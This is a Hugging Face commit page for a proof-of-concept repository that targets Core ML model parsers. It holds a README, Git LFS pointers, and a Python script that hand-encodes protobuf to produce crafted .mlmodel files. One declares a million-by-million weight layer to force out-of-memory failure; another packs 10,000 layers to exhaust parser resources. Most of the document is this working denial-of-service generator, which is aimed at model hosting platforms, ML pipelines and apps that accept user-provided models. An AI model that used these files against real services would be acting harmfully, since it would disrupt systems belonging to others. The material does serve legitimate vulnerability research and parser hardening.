WolfpackArmy commited on
Commit
0ef7e97
·
verified ·
1 Parent(s): 02ce7cd

Upload folder using huggingface_hub

Browse files
README.md ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Core ML Model DoS PoC
2
+
3
+ Proof-of-concept Core ML model files (`.mlmodel`) demonstrating denial-of-service vectors in protobuf-based model parsers.
4
+
5
+ Core ML models use Protocol Buffers format as defined by Apple's [coremltools](https://github.com/apple/coremltools) specification.
6
+
7
+ ## Files
8
+
9
+ | File | Size | Vector |
10
+ |------|------|--------|
11
+ | `poc_oom_weights.mlmodel` | ~43 B | OOM via huge tensor shape declaration (innerProduct: 1M x 1M = ~4TB if allocated) |
12
+ | `poc_many_layers.mlmodel` | ~321 KB | 10,000 neural network layers causing parser overhead and memory pressure |
13
+ | `benign.mlmodel` | ~56 B | Minimal valid model for baseline comparison |
14
+ | `generate_pocs.py` | - | Generator script for reproducibility |
15
+
16
+ ## Attack Vectors
17
+
18
+ ### 1. OOM via Huge Tensor Shapes (`poc_oom_weights.mlmodel`)
19
+
20
+ A crafted protobuf declares a neural network `innerProduct` layer with `inputChannels=1000000` and `outputChannels=1000000`. If a parser naively pre-allocates the weight matrix, this requires 10^12 float32 values (~4 TB of memory), causing an out-of-memory condition.
21
+
22
+ ### 2. Many Layers Parsing Overhead (`poc_many_layers.mlmodel`)
23
+
24
+ A neural network spec containing 10,000 activation layers. Parsers that build full graph representations or validate layer connectivity may experience significant overhead or memory pressure when processing this many layers.
25
+
26
+ ## Reproduction
27
+
28
+ ```bash
29
+ python generate_pocs.py
30
+ ```
31
+
32
+ Then load the generated `.mlmodel` files with any Core ML parser (e.g., `coremltools.utils.load_spec()`).
33
+
34
+ ## Impact
35
+
36
+ - Denial of service in any application that loads untrusted `.mlmodel` files
37
+ - Applicable to model hosting platforms, ML pipelines, and iOS/macOS apps accepting user-provided models
benign.mlmodel ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:9fc30358165ba6bccb5933a37fcd56f94776bee2067cb68c82cfa3beaafd3416
3
+ size 56
generate_pocs.py ADDED
@@ -0,0 +1,99 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Generate Core ML model PoC files for DoS testing."""
3
+
4
+ import os
5
+
6
+ def encode_varint(value):
7
+ result = bytearray()
8
+ while value > 0x7f:
9
+ result.append((value & 0x7f) | 0x80)
10
+ value >>= 7
11
+ result.append(value & 0x7f)
12
+ return bytes(result)
13
+
14
+ def encode_field(field_num, wire_type, data):
15
+ tag = encode_varint((field_num << 3) | wire_type)
16
+ if wire_type == 0: # varint
17
+ return tag + encode_varint(data)
18
+ elif wire_type == 2: # length-delimited
19
+ return tag + encode_varint(len(data)) + data
20
+
21
+ DIR = os.path.dirname(os.path.abspath(__file__))
22
+
23
+ # ---- 1. poc_oom_weights.mlmodel ----
24
+ # Core ML Model protobuf with neural network layer claiming enormous weight dimensions
25
+ # innerProduct with inputChannels=1000000, outputChannels=1000000
26
+ # Would require 1e12 float32 values = ~4TB if allocated
27
+
28
+ spec_ver = encode_field(1, 0, 4) # specificationVersion = 4
29
+
30
+ # innerProduct params: field 1 = inputChannels, field 2 = outputChannels
31
+ inner = encode_field(1, 0, 1000000) + encode_field(2, 0, 1000000)
32
+ layer_params = encode_field(5, 2, inner) # innerProduct = field 5 in NeuralNetworkLayer
33
+ layer_name = encode_field(1, 2, b'evil_layer')
34
+ # input/output names
35
+ layer_input = encode_field(2, 2, b'input')
36
+ layer_output = encode_field(3, 2, b'output')
37
+ layer = layer_name + layer_input + layer_output + layer_params
38
+ nn_layer = encode_field(1, 2, layer) # layers = field 1 in NeuralNetwork
39
+ neural_net = encode_field(7, 2, nn_layer) # neuralNetwork = field 7 in Model
40
+
41
+ model_data = spec_ver + neural_net
42
+ path = os.path.join(DIR, 'poc_oom_weights.mlmodel')
43
+ with open(path, 'wb') as f:
44
+ f.write(model_data)
45
+ print(f"Created {path} ({len(model_data)} bytes)")
46
+
47
+ # ---- 2. poc_many_layers.mlmodel ----
48
+ # Neural network with 10000 layers to cause parsing overhead
49
+
50
+ spec_ver = encode_field(1, 0, 4)
51
+
52
+ layers_data = b''
53
+ for i in range(10000):
54
+ name = f'layer_{i}'.encode()
55
+ ln = encode_field(1, 2, name)
56
+ li = encode_field(2, 2, b'input')
57
+ lo = encode_field(3, 2, b'output')
58
+ # activation layer (field 6) with ReLU (field 1 = linear with default)
59
+ activation_params = encode_field(1, 2, b'') # linear activation
60
+ lp = encode_field(6, 2, activation_params)
61
+ layer = ln + li + lo + lp
62
+ layers_data += encode_field(1, 2, layer)
63
+
64
+ neural_net = encode_field(7, 2, layers_data)
65
+ model_data = spec_ver + neural_net
66
+ path = os.path.join(DIR, 'poc_many_layers.mlmodel')
67
+ with open(path, 'wb') as f:
68
+ f.write(model_data)
69
+ print(f"Created {path} ({len(model_data)} bytes)")
70
+
71
+ # ---- 3. benign.mlmodel ----
72
+ # Minimal valid Core ML model
73
+
74
+ spec_ver = encode_field(1, 0, 4)
75
+
76
+ # description with empty input/output
77
+ desc_input_name = encode_field(1, 2, b'input')
78
+ desc_input_type = encode_field(1, 2, desc_input_name)
79
+ desc_output_name = encode_field(1, 2, b'output')
80
+ desc_output_type = encode_field(2, 2, desc_output_name)
81
+ description = encode_field(2, 2, desc_input_type + desc_output_type)
82
+
83
+ # simple neural network with one identity-like layer
84
+ layer_name = encode_field(1, 2, b'id_layer')
85
+ layer_input = encode_field(2, 2, b'input')
86
+ layer_output = encode_field(3, 2, b'output')
87
+ activation_params = encode_field(1, 2, b'') # linear
88
+ layer_param = encode_field(6, 2, activation_params)
89
+ layer = layer_name + layer_input + layer_output + layer_param
90
+ nn_layer = encode_field(1, 2, layer)
91
+ neural_net = encode_field(7, 2, nn_layer)
92
+
93
+ model_data = spec_ver + description + neural_net
94
+ path = os.path.join(DIR, 'benign.mlmodel')
95
+ with open(path, 'wb') as f:
96
+ f.write(model_data)
97
+ print(f"Created {path} ({len(model_data)} bytes)")
98
+
99
+ print("\nAll PoC files generated.")
poc_many_layers.mlmodel ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:d34ce86c59fe2d6093a74c164f09956c5749dd403ffd3bd700fefb354a4398d5
3
+ size 328896
poc_oom_weights.mlmodel ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:10d763911598cd2ecf78aae79c6f3e2d7eb4181bcafe7102316c9ed49e964ff9
3
+ size 43